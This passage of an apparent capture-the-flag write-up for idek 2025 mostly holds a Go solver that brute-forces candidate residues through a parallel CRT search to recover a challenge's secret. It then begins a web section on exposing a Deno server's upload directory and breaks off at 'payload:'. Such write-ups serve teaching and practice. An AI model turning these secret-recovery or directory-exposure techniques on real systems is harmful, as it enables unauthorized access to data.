z-type">Int</span><span class="z-punctuation">) (</span><span class="z-keyword z-operator">*</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-source"> newMod</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">m</span><span class="z-punctuation">,</span><span class="z-source"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">nInv</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">ModInverse</span><span class="z-punctuation">(</span><span class="z-source">n</span><span class="z-punctuation">,</span><span class="z-source"> m</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">term1</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">a</span><span class="z-punctuation">,</span><span class="z-source"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">term1</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">c</span><span class="z-punctuation">.</span><span class="z-source">term1</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">nInv</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">mInv</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">ModInverse</span><span class="z-punctuation">(</span><span class="z-source">m</span><span class="z-punctuation">,</span><span class="z-source"> n</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">term2</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">b</span><span class="z-punctuation">,</span><span class="z-source"> m</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">term2</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Mul</span><span class="z-punctuation">(</span><span class="z-source">c</span><span class="z-punctuation">.</span><span class="z-source">term2</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">mInv</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> result</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">c</span><span class="z-punctuation">.</span><span class="z-source">term1</span><span class="z-punctuation">,</span><span class="z-source"> c</span><span class="z-punctuation">.</span><span class="z-source">term2</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> result</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Mod</span><span class="z-punctuation">(</span><span class="z-source">result</span><span class="z-punctuation">,</span><span class="z-source"> newMod</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-source"> result</span><span class="z-punctuation">,</span><span class="z-source"> newMod</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> findSecretDFS</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">level</span><span class="z-storage z-type"> int</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> currentS</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> currentMod</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> tasks</span><span class="z-punctuation"> []</span><span class="z-entity z-name z-type">CrtTask</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> resultChan</span><span class="z-keyword"> chan</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> bar</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">ProgressBar</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> ctx</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">CrtContext</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> select</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> case</span><span class="z-keyword z-operator"> &lt;-</span><span class="z-source">resultChan</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-language"> nil</span></span> <span class="giallo-l"><span class="z-keyword"> default</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> level</span><span class="z-keyword z-operator"> ==</span><span class="z-entity z-name z-function"> len</span><span class="z-punctuation">(</span><span class="z-source">tasks</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> bound</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">Lsh</span><span class="z-punctuation">(</span><span class="z-source">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewInt</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">),</span><span class="z-constant z-numeric"> 640</span><span class="z-punctuation">)</span><span class="z-punctuation z-definition z-comment z-comment"> // 80 bytes * 8 bits/byte</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> currentS</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Sign</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> &gt;</span><span class="z-constant z-numeric"> 0</span><span class="z-keyword z-operator"> &amp;&amp;</span><span class="z-source"> currentS</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Cmp</span><span class="z-punctuation">(</span><span class="z-source">bound</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-source"> currentS</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-language"> nil</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> task</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> tasks</span><span class="z-punctuation">[</span><span class="z-source">level</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> _</span><span class="z-punctuation">,</span><span class="z-source"> candidate</span><span class="z-keyword z-operator"> :=</span><span class="z-keyword"> range</span><span class="z-source"> task</span><span class="z-punctuation">.</span><span class="z-source">Candidates</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> newS</span><span class="z-punctuation">,</span><span class="z-source"> newMod</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> ctx</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Crt</span><span class="z-punctuation">(</span><span class="z-source">currentS</span><span class="z-punctuation">,</span><span class="z-source"> currentMod</span><span class="z-punctuation">,</span><span class="z-source"> candidate</span><span class="z-punctuation">,</span><span class="z-source"> task</span><span class="z-punctuation">.</span><span class="z-source">Modulus</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> result</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> findSecretDFS</span><span class="z-punctuation">(</span><span class="z-source">level</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-source"> newS</span><span class="z-punctuation">,</span><span class="z-source"> newMod</span><span class="z-punctuation">,</span><span class="z-source"> tasks</span><span class="z-punctuation">,</span><span class="z-source"> resultChan</span><span class="z-punctuation">,</span><span class="z-source"> bar</span><span class="z-punctuation">,</span><span class="z-source"> ctx</span><span class="z-punctuation">);</span><span class="z-source"> result</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-language"> nil</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-source"> result</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> return</span><span class="z-constant z-language"> nil</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">func</span><span class="z-entity z-name z-function"> main</span><span class="z-punctuation">() {</span></span> <span class="giallo-l"><span class="z-source"> numCPU</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> runtime</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NumCPU</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> procs</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> numCPU</span><span class="z-keyword z-operator"> -</span><span class="z-constant z-numeric"> 2</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> procs</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> procs</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> runtime</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">GOMAXPROCS</span><span class="z-punctuation">(</span><span class="z-source">procs</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;System has %d CPU cores. Go program will use %d cores.</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> numCPU</span><span class="z-punctuation">,</span><span class="z-source"> procs</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintln</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Go Solver: Waiting for data from stdin...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> scanner</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> bufio</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewScanner</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stdin</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> tasks</span><span class="z-punctuation"> []</span><span class="z-entity z-name z-type">CrtTask</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> scanner</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Scan</span><span class="z-punctuation">() {</span></span> <span class="giallo-l"><span class="z-source"> parts</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> strings</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Split</span><span class="z-punctuation">(</span><span class="z-source">scanner</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Text</span><span class="z-punctuation">(),</span><span class="z-punctuation z-definition z-string z-string"> &quot;,&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-entity z-name z-function"> len</span><span class="z-punctuation">(</span><span class="z-source">parts</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation"> {</span><span class="z-keyword"> continue</span><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> mod</span><span class="z-punctuation">,</span><span class="z-source"> _</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetString</span><span class="z-punctuation">(</span><span class="z-source">parts</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">],</span><span class="z-constant z-numeric"> 10</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> task</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-type"> CrtTask</span><span class="z-punctuation">{</span><span class="z-source">Modulus</span><span class="z-punctuation">:</span><span class="z-source"> mod</span><span class="z-punctuation">}</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> i</span><span class="z-keyword z-operator"> :=</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">;</span><span class="z-source"> i</span><span class="z-keyword z-operator"> &lt;</span><span class="z-entity z-name z-function"> len</span><span class="z-punctuation">(</span><span class="z-source">parts</span><span class="z-punctuation">);</span><span class="z-source"> i</span><span class="z-keyword z-operator">++</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> cand</span><span class="z-punctuation">,</span><span class="z-source"> _</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> new</span><span class="z-punctuation">(</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">).</span><span class="z-entity z-name z-function">SetString</span><span class="z-punctuation">(</span><span class="z-source">parts</span><span class="z-punctuation">[</span><span class="z-source">i</span><span class="z-punctuation">],</span><span class="z-constant z-numeric"> 10</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> cand</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Sign</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> &lt;</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> cand</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-source">cand</span><span class="z-punctuation">,</span><span class="z-source"> mod</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> task</span><span class="z-punctuation">.</span><span class="z-source">Candidates</span><span class="z-keyword z-operator"> =</span><span class="z-entity z-name z-function"> append</span><span class="z-punctuation">(</span><span class="z-source">task</span><span class="z-punctuation">.</span><span class="z-source">Candidates</span><span class="z-punctuation">,</span><span class="z-source"> cand</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> tasks</span><span class="z-keyword z-operator"> =</span><span class="z-entity z-name z-function"> append</span><span class="z-punctuation">(</span><span class="z-source">tasks</span><span class="z-punctuation">,</span><span class="z-source"> task</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> err</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> scanner</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Err</span><span class="z-punctuation">();</span><span class="z-source"> err</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-language"> nil</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Error reading from stdin: %v</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> err</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> os</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Exit</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-entity z-name z-function"> len</span><span class="z-punctuation">(</span><span class="z-source">tasks</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintln</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;No valid data received from stdin. Exiting.&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> os</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Exit</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Go Solver: Received %d sets of candidates. Starting search...</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-entity z-name z-function"> len</span><span class="z-punctuation">(</span><span class="z-source">tasks</span><span class="z-punctuation">))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> totalPaths</span><span class="z-keyword z-operator"> :=</span><span class="z-storage z-type"> int64</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> _</span><span class="z-punctuation">,</span><span class="z-source"> task</span><span class="z-keyword z-operator"> :=</span><span class="z-keyword"> range</span><span class="z-source"> tasks</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> totalPaths</span><span class="z-keyword z-operator"> *=</span><span class="z-storage z-type"> int64</span><span class="z-punctuation">(</span><span class="z-entity z-name z-function">len</span><span class="z-punctuation">(</span><span class="z-source">task</span><span class="z-punctuation">.</span><span class="z-source">Candidates</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">NewOptions64</span><span class="z-punctuation">(</span></span> <span class="giallo-l"><span class="z-source"> totalPaths</span><span class="z-punctuation">,</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetDescription</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Searching&quot;</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetWriter</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionShowCount</span><span class="z-punctuation">(),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSetWidth</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">40</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionThrottle</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">100</span><span class="z-keyword z-operator">*</span><span class="z-source">time</span><span class="z-punctuation">.</span><span class="z-source">Millisecond</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-source"> progressbar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">OptionSpinnerType</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">14</span><span class="z-punctuation">),</span></span> <span class="giallo-l"><span class="z-punctuation"> )</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> startTime</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> time</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Now</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> resultChan</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> make</span><span class="z-punctuation">(</span><span class="z-keyword">chan</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> var</span><span class="z-source"> wg</span><span class="z-entity z-name z-type"> sync</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">WaitGroup</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> initialTask</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> tasks</span><span class="z-punctuation">[</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">]</span></span> <span class="giallo-l"><span class="z-keyword"> for</span><span class="z-source"> _</span><span class="z-punctuation">,</span><span class="z-source"> initialCandidate</span><span class="z-keyword z-operator"> :=</span><span class="z-keyword"> range</span><span class="z-source"> initialTask</span><span class="z-punctuation">.</span><span class="z-source">Candidates</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Add</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword"> go func</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">startCand</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> startMod</span><span class="z-keyword z-operator"> *</span><span class="z-entity z-name z-type">big</span><span class="z-punctuation">.</span><span class="z-entity z-name z-type">Int</span><span class="z-punctuation">) {</span></span> <span class="giallo-l"><span class="z-keyword"> defer</span><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Done</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> ctx</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> NewCrtContext</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> result</span><span class="z-keyword z-operator"> :=</span><span class="z-entity z-name z-function"> findSecretDFS</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">,</span><span class="z-source"> startCand</span><span class="z-punctuation">,</span><span class="z-source"> startMod</span><span class="z-punctuation">,</span><span class="z-source"> tasks</span><span class="z-punctuation">,</span><span class="z-source"> resultChan</span><span class="z-punctuation">,</span><span class="z-source"> bar</span><span class="z-punctuation">,</span><span class="z-source"> ctx</span><span class="z-punctuation">);</span><span class="z-source"> result</span><span class="z-keyword z-operator"> !=</span><span class="z-constant z-language"> nil</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> select</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-keyword"> case</span><span class="z-source"> resultChan</span><span class="z-keyword z-operator"> &lt;-</span><span class="z-source"> result</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword"> default</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation"> }(</span><span class="z-source">initialCandidate</span><span class="z-punctuation">,</span><span class="z-source"> initialTask</span><span class="z-punctuation">.</span><span class="z-source">Modulus</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword"> go func</span><span class="z-punctuation">() {</span></span> <span class="giallo-l"><span class="z-source"> wg</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Wait</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-entity z-name z-function"> close</span><span class="z-punctuation">(</span><span class="z-source">resultChan</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }()</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> finalSecret</span><span class="z-punctuation">,</span><span class="z-source"> ok</span><span class="z-keyword z-operator"> := &lt;-</span><span class="z-source">resultChan</span></span> <span class="giallo-l"><span class="z-source"> bar</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Finish</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> duration</span><span class="z-keyword z-operator"> :=</span><span class="z-source"> time</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Since</span><span class="z-punctuation">(</span><span class="z-source">startTime</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> // --- *** MODIFIED OUTPUT *** ---</span></span> <span class="giallo-l"><span class="z-keyword"> if</span><span class="z-source"> ok</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Println</span><span class="z-punctuation">(</span><span class="z-source">finalSecret</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string"> &quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string">Go Solver: Success! Found secret in %v.</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> duration</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span><span class="z-keyword"> else</span><span class="z-punctuation"> {</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string"> &quot;</span><span class="z-constant z-character z-escape">\n</span><span class="z-string">Go Solver: Search completed, but no valid secret was found.</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> fmt</span><span class="z-punctuation">.</span><span class="z-entity z-name z-function">Fprintf</span><span class="z-punctuation">(</span><span class="z-source">os</span><span class="z-punctuation">.</span><span class="z-source">Stderr</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &quot;Time elapsed: %v</span><span class="z-constant z-character z-escape">\n</span><span class="z-punctuation z-definition z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-source"> duration</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation"> }</span></span> <span class="giallo-l"><span class="z-punctuation">}</span></span></code></pre><h1 id="web">Web</h1> <h2 id="midi-visualizer">*midi visualizer</h2> <p>deno 启动的 midi server</p> <p>本地重现环境后，发现可以直接下载 <code>上传目录</code> 的文件，但我们并没有文件名，于是构造暴露出目标目录下所有信息</p> <p><img src="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/content/blog/img/web_localtest.png" alt="" /></p> <blockquote> <p>更多在于尝试或者读 deno 源码</p> </blockquote> <p>payload:</p> <pre class="giallo z-code"><code data-lang="shellscript"><span 